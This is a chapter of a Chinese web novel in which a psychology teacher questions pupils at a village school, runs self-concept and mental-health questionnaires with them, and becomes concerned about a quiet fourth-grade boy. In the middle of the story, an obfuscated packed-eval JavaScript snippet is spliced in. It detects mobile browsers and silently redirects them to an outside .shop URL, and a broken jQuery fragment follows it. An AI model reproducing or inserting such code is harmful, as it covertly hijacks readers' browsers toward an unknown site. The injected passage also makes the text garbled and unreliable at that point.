男孩眼睛亮了一瞬，很快变得紧张。
他拘谨站起来，不再看她，垂着眼说：“我叫胡有志，古字和月字加起来的胡，有志向的有志..今年四年级，很快九岁了..”
舟姝可静静听着，同时观察他。
男孩虽然不停搓着衣角，可说话没有结巴，思维逻辑强，会停一停想一想，再继续说。
那么这个孩子，实际是聪明胆大的。
再结合方才眉眼和肤色的大致推测，他过去也是个调皮捣蛋的孩子，之后因为发生了什么重大外界因素有所改变。
或许是大人的严厉批评，又或许是犯了什么大错受到打击，他有意识地收敛性子。
“我家里五口人，都来自堰村...爸爸妈妈在外地打工，爷爷腿脚不好在家..我的姐姐..姐姐她今年十七岁，在市里上学......”
到这里结束，舟姝可立马表扬：“好，非常棒！胡有志同学，有志...方便问一下，你对未来有一定志向了吗？”
“嗯..有。”
“哦？可以讲出来，分享分享给大家吗？”
男孩迟疑了两秒，才说：“我喜欢打篮球...姐姐送过我一个篮球...我想长大以后当篮球员......”
舟姝可温婉鼓励：“可以，老师相信你，既然喜欢，那就坚持下去，时间会告诉你，梦想成真的那天。”
胡有志抬头看了她眼，欲言又止：“...嗯，谢谢老师。”
舟姝可莞尔以待。
没再盯他，示意坐下后开始下一位。
待全部二十七位同学自我介绍完，已是半个小时过去。校门口村民散得差不多，教室外的家长们着急，议论起有什么活没干，哪块地的水未浇，菜没摘。
当声音渐大，变得肆无忌惮吵杂。
舟姝可看看时间，可以了。
对同学们说：“休息十分钟再继续。”
孩子们开开心心，尤其礼貌：“谢谢老师！”
上厕所的撒丫小跑，玩游戏的结伴往墙角去，或只在课桌围聚。
舟姝可不紧不慢走近家长群，展示出真挚的笑脸：“家长们也辛苦，陪孩子们听了一节课，现在要忙的就抓紧回去吧。”
有老爷子斜着眼：“我们不用下节课了？”
“下一节是孩子们单独的课程。”她耐心解释，面上笑意不变。
“那你喊我们来干嘛！”一老奶奶不满，“浪费我一大早的时间！”
其他人附和:“就是！”
“什么都没有！”
“什么意思啊！”
舟姝可表情依旧保持得体，声音不疾不徐。
“如果有家长还愿意听课，当然可以继续留下来。不过，昨天送公益的大哥很快就进村，我们同他有合作，已经提前说好，凡是我们学生的家长会额外赠送小礼品，现在可以去排队了。”
这样的话一落，家长们面面相觑，没有冷眼，没有不满了，达成共识便纷纷不回头离开。
按照昨天原本打算，她是想让学生家长听整半天的课，有算到家长们不配合，所以又准备随机应变。
直到方才，看见了倪清清学习过的儿童心理学书籍，临时改变主意，确定了接下来一步。
“小倩，阿锁。”
舟姝可喊她们，从文件夹分别递出一张纸。
交代了需要帮助的事，两姑娘答应爽快，高兴指挥尹浩南再搬出张小黑板，和开始那张黑板对齐。
二人一左一右，对照纸上内容提粉笔誊写。
孩子们好奇观望，神色状态各异。
兜里手机震动了下，舟姝可摸出解屏。
果然是微信置顶的新消息。
【Kairos:已上飞机，两小时落地。】
她表情淡淡，打字回复:【好，按时吃饭】
对面秒发来一个表情包。
【Kairos:OK.GIF】
偌大的滑稽的黄色豆人微笑比ok手势。
舟姝可:...没眼看。
严重怀疑这人在故意膈应。
十分钟很快过去，同学们乖乖坐回原位。
钟文倩和朱锁的任务也完成，两张小黑板留下满满漂亮的粉笔字。
她重新露出和煦笑脸，面对所有孩子们说:“大家应该记得我上节课介绍，我是一个心理老师。相信你们之前，也了解过心理知识学习，在座很多同学还学会了如何正确对待自身或他人面临到的心理问题...”
学生们一言不发，绝大部分安静得有些低落。舟姝可心知肚明，但她的话没停。
“刚才有两个姐姐帮我做了一件事，大家也看到了，就是我身后黑板上写出来的30道题。我知道，有同学在倪老师曾经的安排下做过，现在我需要你们再做一遍。”
她没有特意避过一个众所周知的存在。
“按顺序，从第一道题开始，各自在题本上回答，根据内心真实想法，选择是或否。答案只有这两个其中一个，不过我不强制要求，你们如果有不同回答，也可以写出来。”
“现在，同学们可以答题了。”
舟姝可一字一句，讲得慢。
主要为考虑低年级的孩子，她开始走动，嘴上同时诵读:“第一题，我经常悲伤，是，还是否？”
脚下步子慢悠，行走在学生课桌之间的过道，好几秒停顿后继续:“第二题，当某件事做错了，常常是我的错吗？”
看看这个孩子，再看看另个孩子。
偶尔脚步停下多看两眼，孩子握笔姿势不太对，字迹却挺好。她伸手掌贴近孩子额头，力往上压，孩子明了地顺着劲抬头挺起背。
舟姝可满意，接着巡视。
“第三题，我常给家里带来麻烦？”
“第四题，我常常想按自己的主意办事？”
“...我不高兴。”
“...我家里对我失望。”
“...我快乐。”
儿童自我意识量表，是一种专业心理测量工具，以测评8-16岁孩子自我意识发展情况，从自我观察、自我监督、自我评价、自我体验等多方面了解。①
官方测量表的总题是80道。
由于未提前进行计划，没有电子设备，她只好做个极简的测评，缩短至30题。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677716|207557||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
孩子们认真，一笔一划，除了她的报题声，唯有独属于村落里不停的虫鸣，犬吠遥远。
答题完成，由钟文倩和朱锁收写纸。
舟姝可根据题目，给同学们多扩充了些心理学小知识，做了趣味性互动小游戏，再次把孩子们的情绪带动起来，笑语欢声。
上午的最后一节，课前托黎笑几人共同帮忙，1-3年级的学生们回到教室正常上课自习，4-6年级留下。
四年级有7人，五年级6人，六年级2人，总共15位学生，其中女孩九位，男孩六位。
正式上课依然是先做题。
舟姝可特意找了以前的同事发来一个文档。
心理健康诊断测验（MHT），同样也是用于评估中小学生心理健康状况的工具，适用小学四年级以上至高中阶段的学生。
测验由学习焦虑、对人焦虑、孤独倾向、自责倾向、过敏倾向、身体症状、恐怖倾向、冲动倾向八个维度构成。测题量适中，覆盖面广，针对性强，能够较准确反馈学生的心理健康状况，且具备较高的信度和效度。②
测验上方有行指导语，她一一读出告知:“接下来的测题是调查你们的心情和感受的，不是测验智力和学习能力，与学习成绩无关，答案也没有好坏之分。”
“一样只需要选择是或否，依照你们平时所想如实回答，我会一题一题读，要是有哪题难以决定，选择与实际情况最接近的答案就好。”
同学们听得仔细，每张小脸严阵以待。
舟姝可的心不禁又放软几分，同时怜惜之情泛起，她补充说:“你们也可以暂空，我会每过十题重复一遍。”
“第一题，你夜里睡觉时，是否总想着明天的功课？”
“第二题，当老师在向全班提问时，你是否会觉得是在提问自己而感到不安？”
“......”
第八题读完，钟文倩跑来轻声问:“姐，总共多少题啊？”
舟姝可微微莞尔:“一百。”
“哈？”钟文倩惊讶，“这么多吗？听你嗓音已经不太好，接下来要不让我和阿锁来接力吧。”
她没有拒绝两人好意，同意了。
中午放学时间到，孩子们结伴回家，每天在校吃饭的七人要么跑厨房，要么跑二楼宿舍。
舟姝可昨天没好好注意。
今天看着那个给她印象深的四年级男孩一个人速度飞快，上了二楼后，从楼下只能望见半个在不断移动的小脑袋，很快消失于二楼走廊。
整理好学生们填写的纸张，她抱起所有走进厨房隔壁，倪家人休息的房间。
今日倪母负责领路民警，倪天宇管理1-3年级，倪大姨则是掌厨人，于牧白和老汤打下手，油烟菜香弥漫了学校各处角落。
舟姝可坐在倪清清生前工作的桌椅，细致批改起每份答纸。纸张大小不一，涂改的有多有少，字迹工整潦草的对半。
她时而忍不住笑，时而眉头直皱。
“舟老师。”倪天宇进来唤她，“开饭了。”
舟姝可手中笔一停。
她抬眼，秀眉未松，说道:“我想了解一下四年级的胡有志。”